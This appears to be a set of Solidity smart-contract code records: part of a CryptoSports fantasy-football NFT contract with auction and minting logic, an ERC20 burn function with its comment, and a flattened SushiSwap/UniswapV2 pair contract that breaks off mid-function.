CommissionerAuctionSuccessful(tokenId, totalPrice, winner); } } /// @dev SaleClockAuctionLIstener interface method concrete implementation /// @param tokenId - ID of the token whose auction was cancelled /// @param seller - Account address of seller who decided to cancel the auction function auctionCancelled(uint256 tokenId, address seller) public { require (saleClockAuctionContract != address(0)); require (msg.sender == address(saleClockAuctionContract)); if (seller == address(this)) { // We cancelled a commissioner auction! leagueRosterContract.commissionerAuctionCancelled(playerTokens[tokenId].realWorldPlayerId); emit CommissionerAuctionCanceled(tokenId); } } /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionContractAddress(address _address) public onlyCEO { require(_address != address(0)); CSportsAuctionInterface candidateContract = CSportsAuctionInterface(_address); // Sanity check require(candidateContract.isSaleClockAuction()); // Set the new contract address saleClockAuctionContract = candidateContract; } /// @dev Allows the commissioner to cancel his auctions (which are owned /// by this contract) function cancelCommissionerAuction(uint32 tokenId) public onlyCommissioner { require(saleClockAuctionContract != address(0)); saleClockAuctionContract.cancelAuction(tokenId); } /// @dev Put a player up for auction. The message sender must own the /// player token being put up for auction. /// @param _playerTokenId - ID of playerToken to be auctioned /// @param _startingPrice - Starting price in wei /// @param _endingPrice - Ending price in wei /// @param _duration - Duration in seconds function createSaleAuction( uint256 _playerTokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) public whenNotPaused { // Auction contract checks input sizes // If player is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _playerTokenId)); _approve(_playerTokenId, saleClockAuctionContract); // saleClockAuctionContract.createAuction throws if inputs are invalid and clears // transfer after escrowing the player. saleClockAuctionContract.createAuction( _playerTokenId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Transfers the balance of the sale auction contract /// to the CSportsCore contract. We use two-step withdrawal to /// avoid two transfer calls in the auction bid function. /// To withdraw from this CSportsCore contract, the CFO must call /// the withdrawBalance(...) function defined in CSportsAuth. function withdrawAuctionBalances() external onlyCOO { saleClockAuctionContract.withdrawBalance(); } } /// @title The facet of the CSportsCore contract that manages minting new PlayerTokens /// @author CryptoSports, Inc. (http://cryptosports.team) /// See the CSportsCore contract documentation to understand how the various contract facets are arranged. contract CSportsMinting is CSportsAuction { /// @dev MarketingTokenRedeemed event is fired when a marketing token has been redeemed event MarketingTokenRedeemed(uint256 hash, uint128 rwpMd5, address indexed recipient); /// @dev MarketingTokenCreated event is fired when a marketing token has been created event MarketingTokenCreated(uint256 hash, uint128 rwpMd5); /// @dev MarketingTokenReplaced event is fired when a marketing token has been replaced event MarketingTokenReplaced(uint256 oldHash, uint256 newHash, uint128 rwpMd5); /// @dev Sanity check that identifies this contract as having minting capability function isMinter() public pure returns (bool) { return true; } /// @dev Utility function to make it easy to keccak256 a string in python or javascript using /// the exact algorythm used by Solidity. function getKeccak256(string stringToHash) public pure returns (uint256) { return uint256(keccak256(abi.encodePacked(stringToHash))); } /// @dev Allows the commissioner to load up our marketingTokens mapping with up to /// MAX_MARKETING_TOKENS marketing tokens that can be created if one knows the words /// to keccak256 and match the keywordHash passed here. Use web3.utils.soliditySha3(param1 [, param2, ...]) /// to create this hash. /// /// ONLY THE COMMISSIONER CAN CREATE MARKETING TOKENS, AND ONLY UP TO MAX_MARKETING_TOKENS OF THEM /// /// @param keywordHash - keccak256 of a known set of keyWords /// @param md5Token - The md5 key in the leagueRosterContract that specifies the player /// player token that will be minted and transfered by the redeemMarketingToken(...) method. function addMarketingToken(uint256 keywordHash, uint128 md5Token) public onlyCommissioner { require(remainingMarketingTokens > 0); require(marketingTokens[keywordHash] == 0); // Make sure the md5Token exists in the league roster uint128 _rosterIndex = leagueRosterContract.getRealWorldPlayerRosterIndex(md5Token); require(_rosterIndex != 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); // Map the keyword Hash to the RWP md5 and decrement the remainingMarketingTokens property remainingMarketingTokens--; marketingTokens[keywordHash] = md5Token; emit MarketingTokenCreated(keywordHash, md5Token); } /// @dev This method allows the commish to replace an existing marketing token that has /// not been used with a new one (new hash and mdt). Since we are replacing, we co not /// have to deal with remainingMarketingTokens in any way. This is to allow for replacing /// marketing tokens that have not been redeemed and aren't likely to be redeemed (breakage) /// /// ONLY THE COMMISSIONER CAN ACCESS THIS METHOD /// /// @param oldKeywordHash Hash to replace /// @param newKeywordHash Hash to replace with /// @param md5Token The md5 key in the leagueRosterContract that specifies the player function replaceMarketingToken(uint256 oldKeywordHash, uint256 newKeywordHash, uint128 md5Token) public onlyCommissioner { uint128 _md5Token = marketingTokens[oldKeywordHash]; if (_md5Token != 0) { marketingTokens[oldKeywordHash] = 0; marketingTokens[newKeywordHash] = md5Token; emit MarketingTokenReplaced(oldKeywordHash, newKeywordHash, md5Token); } } /// @dev Returns the real world player's MD5 key from a keywords string. A 0x00 returned /// value means the keyword string parameter isn't mapped to a marketing token. /// @param keyWords Keywords to use to look up RWP MD5 // /// ANYONE CAN VALIDATE A KEYWORD STRING (MAP IT TO AN MD5 IF IT HAS ONE) /// /// @param keyWords - A string that will keccak256 to an entry in the marketingTokens /// mapping (or not) function MD5FromMarketingKeywords(string keyWords) public view returns (uint128) { uint256 keyWordsHash = uint256(keccak256(abi.encodePacked(keyWords))); uint128 _md5Token = marketingTokens[keyWordsHash]; return _md5Token; } /// @dev Allows anyone to try to redeem a marketing token by passing N words that will /// be SHA256'ed to match an entry in our marketingTokens mapping. If a match is found, /// a CryptoSports token is created that corresponds to the md5 retrieved /// from the marketingTokens mapping and its owner is assigned as the msg.sender. /// /// ANYONE CAN REDEEM A MARKETING token /// /// @param keyWords - A string that will keccak256 to an entry in the marketingTokens mapping function redeemMarketingToken(string keyWords) public { uint256 keyWordsHash = uint256(keccak256(abi.encodePacked(keyWords))); uint128 _md5Token = marketingTokens[keyWordsHash]; if (_md5Token != 0) { // Only one redemption per set of keywords marketingTokens[keyWordsHash] = 0; uint128 _rosterIndex = leagueRosterContract.getRealWorldPlayerRosterIndex(_md5Token); if (_rosterIndex != 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { // Grab the real world player record from the leagueRosterContract RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(_rosterIndex); // Mint this player, sending it to the message sender _mintPlayer(uint32(_rosterIndex), _rwp.mintedCount, msg.sender); // Finally, update our realWorldPlayer record to reflect the fact that we just // minted a new one, and there is an active commish auction. The only portion of // the RWP record we change here is an update to the mingedCount. leagueRosterContract.updateRealWorldPlayer(uint32(_rosterIndex), _rwp.prevCommissionerSalePrice, uint64(now), _rwp.mintedCount + 1, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled); emit MarketingTokenRedeemed(keyWordsHash, _rwp.md5Token, msg.sender); } } } /// @dev Returns an array of minimum auction starting prices for an array of players /// specified by their MD5s. /// @param _md5Tokens MD5s in the league roster for the players we are inquiring about. function minStartPriceForCommishAuctions(uint128[] _md5Tokens) public view onlyCommissioner returns (uint128[50]) { require (_md5Tokens.length <= 50); uint128[50] memory minPricesArray; for (uint32 i = 0; i < _md5Tokens.length; i++) { uint128 _md5Token = _md5Tokens[i]; uint128 _rosterIndex = leagueRosterContract.getRealWorldPlayerRosterIndex(_md5Token); if (_rosterIndex == 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { // Cannot mint a non-existent real world player continue; } RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(_rosterIndex); // Skip this if there is no player associated with the md5 specified if (_rwp.md5Token != _md5Token) continue; minPricesArray[i] = uint128(_computeNextCommissionerPrice(_rwp.prevCommissionerSalePrice)); } return minPricesArray; } /// @dev Creates newly minted playerTokens and puts them up for auction. This method /// can only be called by the commissioner, and checks to make sure certian minting /// conditions are met (reverting if not met): /// * The MD5 of the RWP specified must exist in the CSportsLeagueRoster contract /// * Cannot mint a realWorldPlayer that currently has an active commissioner auction /// * Cannot mint realWorldPlayer that does not have minting enabled /// * Cannot mint realWorldPlayer with a start price exceeding our minimum /// If any of the above conditions fails to be met, then no player tokens will be /// minted. /// /// *** ONLY THE COMMISSIONER OR THE LEAGUE ROSTER CONTRACT CAN CALL THIS FUNCTION *** /// /// @param _md5Tokens - array of md5Tokens representing realWorldPlayer that we are minting. /// @param _startPrice - the starting price for the auction (0 will set to current minimum price) function mintPlayers(uint128[] _md5Tokens, uint256 _startPrice, uint256 _endPrice, uint256 _duration) public { require(leagueRosterContract != address(0)); require(saleClockAuctionContract != address(0)); require((msg.sender == commissionerAddress) || (msg.sender == address(leagueRosterContract))); for (uint32 i = 0; i < _md5Tokens.length; i++) { uint128 _md5Token = _md5Tokens[i]; uint128 _rosterIndex = leagueRosterContract.getRealWorldPlayerRosterIndex(_md5Token); if (_rosterIndex == 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { // Cannot mint a non-existent real world player continue; } // We don't have to check _rosterIndex here because the getRealWorldPlayerRosterIndex(...) // method always returns a valid index. RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(_rosterIndex); if (_rwp.md5Token != _md5Token) continue; if (!_rwp.mintingEnabled) continue; // Enforce the restrictions that there can ever only be a single outstanding commissioner // auction - no new minting if there is an active commissioner auction for this real world player if (_rwp.hasActiveCommissionerAuction) continue; // Ensure that our price is not less than a minimum uint256 _minStartPrice = _computeNextCommissionerPrice(_rwp.prevCommissionerSalePrice); // Make sure the start price exceeds our minimum acceptable if (_startPrice < _minStartPrice) { _startPrice = _minStartPrice; } // Mint the new player token uint32 _playerId = _mintPlayer(uint32(_rosterIndex), _rwp.mintedCount, address(this)); // @dev Approve ownership transfer to the saleClockAuctionContract (which is required by // the createAuction(...) which will escrow the playerToken) _approve(_playerId, saleClockAuctionContract); // Apply the default duration if (_duration == 0) { _duration = COMMISSIONER_AUCTION_DURATION; } // By setting our _endPrice to zero, we become immune to the USD <==> ether // conversion rate. No matter how high ether goes, our auction price will get // to a USD value that is acceptable to someone (assuming 0 is acceptable that is). // This also helps for players that aren't in very much demand. saleClockAuctionContract.createAuction( _playerId, _startPrice, _endPrice, _duration, address(this) ); // Finally, update our realWorldPlayer record to reflect the fact that we just // minted a new one, and there is an active commish auction. leagueRosterContract.updateRealWorldPlayer(uint32(_rosterIndex), _rwp.prevCommissionerSalePrice, uint64(now), _rwp.mintedCount + 1, true, _rwp.mintingEnabled); } } /// @dev Reprices (and updates duration) of an array of tokens that are currently /// being auctioned by this contract. Since this function can only be called by /// the commissioner, we don't do a lot of checking of parameters and things. /// The SaleClockAuction's repriceAuctions method assures that the CSportsCore /// contract is the "seller" of the token (meaning it is a commissioner auction). /// @param _tokenIds Array of tokenIds corresponding to auctions being updated /// @param _startingPrices New starting prices for each token being repriced /// @param _endingPrices New ending price /// @param _duration New duration function repriceAuctions( uint256[] _tokenIds, uint256[] _startingPrices, uint256[] _endingPrices, uint256 _duration ) external onlyCommissioner { // We cannot reprice below our player minimum for (uint32 i = 0; i < _tokenIds.length; i++) { uint32 _tokenId = uint32(_tokenIds[i]); PlayerToken memory pt = playerTokens[_tokenId]; RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(pt.realWorldPlayerId); uint256 _minStartPrice = _computeNextCommissionerPrice(_rwp.prevCommissionerSalePrice); // We require the price to be >= our _minStartPrice require(_startingPrices[i] >= _minStartPrice); } // Note we pass in this CSportsCore contract address as the seller, making sure the only auctions // that can be repriced by this method are commissioner auctions. saleClockAuctionContract.repriceAuctions(_tokenIds, _startingPrices, _endingPrices, _duration, address(this)); } /// @dev Allows the commissioner to create a sale auction for a token /// that is owned by the core contract. Can only be called when not paused /// and only by the commissioner /// @param _playerTokenId - ID of the player token currently owned by the core contract /// @param _startingPrice - Starting price for the auction /// @param _endingPrice - Ending price for the auction /// @param _duration - Duration of the auction (in seconds) function createCommissionerAuction(uint32 _playerTokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration) public whenNotPaused onlyCommissioner { require(leagueRosterContract != address(0)); require(_playerTokenId < playerTokens.length); // If player is already on any auction, this will throw because it will not be owned by // this CSportsCore contract (as all commissioner tokens are if they are not currently // on auction). // Any token owned by the CSportsCore contract by definition is a commissioner auction // that was canceled which makes it OK to re-list. require(_owns(address(this), _playerTokenId)); // (1) Grab the real world token ID (md5) PlayerToken memory pt = playerTokens[_playerTokenId]; // (2) Get the full real world player record from its roster index RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(pt.realWorldPlayerId); // Ensure that our starting price is not less than a minimum uint256 _minStartPrice = _computeNextCommissionerPrice(_rwp.prevCommissionerSalePrice); if (_startingPrice < _minStartPrice) { _startingPrice = _minStartPrice; } // Apply the default duration if (_duration == 0) { _duration = COMMISSIONER_AUCTION_DURATION; } // Approve the token for transfer _approve(_playerTokenId, saleClockAuctionContract); // saleClockAuctionContract.createAuction throws if inputs are invalid and clears // transfer after escrowing the player. saleClockAuctionContract.createAuction( _playerTokenId, _startingPrice, _endingPrice, _duration, address(this) ); } /// @dev Computes the next commissioner auction starting price equal to /// the previous real world player sale price + 25% (with a floor). function _computeNextCommissionerPrice(uint128 prevTwoCommissionerSalePriceAve) internal view returns (uint256) { uint256 nextPrice = prevTwoCommissionerSalePriceAve + (prevTwoCommissionerSalePriceAve / 4); // sanity check to ensure we don't overflow arithmetic (this big number is 2^128-1). if (nextPrice > 340282366920938463463374607431768211455) { nextPrice = 340282366920938463463374607431768211455; } // We never auction for less than our floor if (nextPrice < COMMISSIONER_AUCTION_FLOOR_PRICE) { nextPrice = COMMISSIONER_AUCTION_FLOOR_PRICE; } return nextPrice; } } /// @notice This is the main contract that implements the csports ERC721 token. /// @author CryptoSports, Inc. (http://cryptosports.team) /// @dev This contract is made up of a series of parent classes so that we could /// break the code down into meaningful amounts of related functions in /// single files, as opposed to having one big file. The purpose of /// each facet is given here: /// /// CSportsConstants - This facet holds constants used throughout. /// CSportsAuth - /// CSportsBase - /// CSportsOwnership - /// CSportsAuction - /// CSportsMinting - /// CSportsCore - This is the main CSports constract implementing the CSports /// Fantash Football League. It manages contract upgrades (if / when /// they might occur), and has generally useful helper methods. /// /// This CSportsCore contract interacts with the CSportsLeagueRoster contract /// to determine which PlayerTokens to mint. /// /// This CSportsCore contract interacts with the TimeAuction contract /// to implement and run PlayerToken auctions (sales). contract CSportsCore is CSportsMinting { /// @dev Used by other contracts as a sanity check bool public isCoreContract = true; // Set if (hopefully not) the core contract needs to be upgraded. Can be // set by the CEO but only when paused. When successfully set, we can never // unpause this contract. See the unpause() method overridden by this class. address public newContractAddress; /// @notice Class constructor creates the main CSportsCore smart contract instance. /// @param nftName The ERC721 name for the contract /// @param nftSymbol The ERC721 symbol for the contract /// @param nftTokenURI The ERC721 token uri for the contract constructor(string nftName, string nftSymbol, string nftTokenURI) public { // New contract starts paused. paused = true; /// @notice storage for the fields that identify this 721 token _name = nftName; _symbol = nftSymbol; _tokenURI = nftTokenURI; // All C-level roles are the message sender ceoAddress = msg.sender; cfoAddress = msg.sender; cooAddress = msg.sender; commissionerAddress = msg.sender; } /// @dev Reject all Ether except if it's from one of our approved sources function() external payable { /*require( msg.sender == address(saleClockAuctionContract) );*/ } /// --------------------------------------------------------------------------- /// /// ----------------------------- PUBLIC FUNCTIONS ---------------------------- /// /// --------------------------------------------------------------------------- /// /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function upgradeContract(address _v2Address) public onlyCEO whenPaused { newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also require that we have /// set a valid season and the contract has not been upgraded. function unpause() public onlyCEO whenPaused { require(leagueRosterContract != address(0)); require(saleClockAuctionContract != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } /// @dev Consolidates setting of contract links into a single call for deployment expediency function setLeagueRosterAndSaleAndTeamContractAddress(address _leagueAddress, address _saleAddress, address _teamAddress) public onlyCEO { setLeagueRosterContractAddress(_leagueAddress); setSaleAuctionContractAddress(_saleAddress); setTeamContractAddress(_teamAddress); } /// @dev Returns all the relevant information about a specific playerToken. ///@param _playerTokenID - player token ID we are seeking the full player token info for function getPlayerToken(uint32 _playerTokenID) public view returns ( uint32 realWorldPlayerId, uint32 serialNumber, uint64 mintedTime, uint128 mostRecentPrice) { require(_playerTokenID < playerTokens.length); PlayerToken storage pt = playerTokens[_playerTokenID]; realWorldPlayerId = pt.realWorldPlayerId; serialNumber = pt.serialNumber; mostRecentPrice = pt.mostRecentPrice; mintedTime = pt.mintedTime; } /// @dev Returns the realWorldPlayer MD5 ID for a given playerTokenID /// @param _playerTokenID - player token ID we are seeking the associated realWorldPlayer md5 for function realWorldPlayerTokenForPlayerTokenId(uint32 _playerTokenID) public view returns (uint128 md5Token) { require(_playerTokenID < playerTokens.length); PlayerToken storage pt = playerTokens[_playerTokenID]; RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(pt.realWorldPlayerId); md5Token = _rwp.md5Token; } /// @dev Returns the realWorldPlayer Metadata for a given playerTokenID /// @param _playerTokenID - player token ID we are seeking the associated realWorldPlayer md5 for function realWorldPlayerMetadataForPlayerTokenId(uint32 _playerTokenID) public view returns (string metadata) { require(_playerTokenID < playerTokens.length); PlayerToken storage pt = playerTokens[_playerTokenID]; RealWorldPlayer memory _rwp; (_rwp.md5Token, _rwp.prevCommissionerSalePrice, _rwp.lastMintedTime, _rwp.mintedCount, _rwp.hasActiveCommissionerAuction, _rwp.mintingEnabled) = leagueRosterContract.realWorldPlayerFromIndex(pt.realWorldPlayerId); metadata = leagueRosterContract.getMetadata(_rwp.md5Token); } /// --------------------------------------------------------------------------- /// /// ------------------------- RESTRICTED FUNCTIONS ---------------------------- /// /// --------------------------------------------------------------------------- /// /// @dev Updates a particular realRealWorldPlayer. Note that the md5Token is immutable. Can only be /// called by the CEO and is used in development stage only as it is only needed by our test suite. /// @param _rosterIndex - Index into realWorldPlayers of the entry to change. /// @param _prevCommissionerSalePrice - Average of the 2 most recent sale prices in commissioner auctions /// @param _lastMintedTime - Time this real world player was last minted /// @param _mintedCount - The number of playerTokens that have been minted for this player /// @param _hasActiveCommissionerAuction - Whether or not there is an active commissioner auction for this player /// @param _mintingEnabled - Denotes whether or not we should mint new playerTokens for this real world player function updateRealWorldPlayer(uint32 _rosterIndex, uint128 _prevCommissionerSalePrice, uint64 _lastMintedTime, uint32 _mintedCount, bool _hasActiveCommissionerAuction, bool _mintingEnabled) public onlyCEO onlyUnderDevelopment { require(leagueRosterContract != address(0)); leagueRosterContract.updateRealWorldPlayer(_rosterIndex, _prevCommissionerSalePrice, _lastMintedTime, _mintedCount, _hasActiveCommissionerAuction, _mintingEnabled); } }
Escrows all of the tokensIds passed by transfering ownership to the teamContract. CAN ONLY BE CALLED BY THE CURRENT TEAM CONTRACT. _owner - Current owner of the token being authorized for transfer _tokenIds The IDs of the PlayerTokens that can be transferred if this call succeeds. Only an owner can transfer the token. Reassign ownership, clear pending approvals (not necessary here), and emit Transfer event.
function batchEscrowToTeamContract( address _owner, uint32[] _tokenIds ) public whenNotPaused { require(teamContract != address(0)); require(msg.sender == address(teamContract)); for (uint32 i = 0; i < _tokenIds.length; i++) { uint32 _tokenId = _tokenIds[i]; require(_owns(_owner, _tokenId)); _transfer(_owner, teamContract, _tokenId); } } bytes4 constant TOKEN_RECEIVED_SIG = bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
6,426,263
./partial_match/1/0x625DE14f04A296684304Df6E8b2B416D0a576c97/sources/WDOGECoin.sol
Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens./ Overflow not possible: amount <= accountBalance <= totalSupply.
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); }
2,876,236
/** *Submitted for verification at Etherscan.io on 2020-11-13 */ // File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File: contracts/uniswapv2/libraries/SafeMath.sol pragma solidity =0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/uniswapv2/UniswapV2ERC20.sol pragma solidity =0.6.12; contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'SushiSwap LP Token'; string public constant symbol = 'SLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/uniswapv2/libraries/Math.sol pragma solidity =0.6.12; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/uniswapv2/libraries/UQ112x112.sol pragma solidity =0.6.12; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/uniswapv2/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/uniswapv2/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/uniswapv2/UniswapV2Pair.sol pragma solidity =0.6.12; interface IMigrator { // Return the desired amount of liquidity token that the migrator wants. function desiredLiquidity() external view returns (uint256); } contract UniswapV2Pair is UniswapV2ERC20 { using SafeMathUniswap for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20Uniswap(token0).balanceOf(address(this)); uint balance1 = 